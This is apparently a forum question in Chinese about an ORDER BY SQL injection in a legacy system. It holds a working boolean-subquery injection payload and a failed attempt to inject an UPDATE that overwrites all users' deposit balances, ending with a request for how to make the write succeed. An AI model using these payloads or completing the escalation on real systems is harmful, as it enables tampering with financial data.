發現一個正在維護的舊系統的基於orderBy的sql注入漏洞，準備驗證一下，
我先執行這個sql注入，是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0但是當我執行這個帶有update語句的sql時報錯了：
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0報錯
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>我該如何讓他執行update？
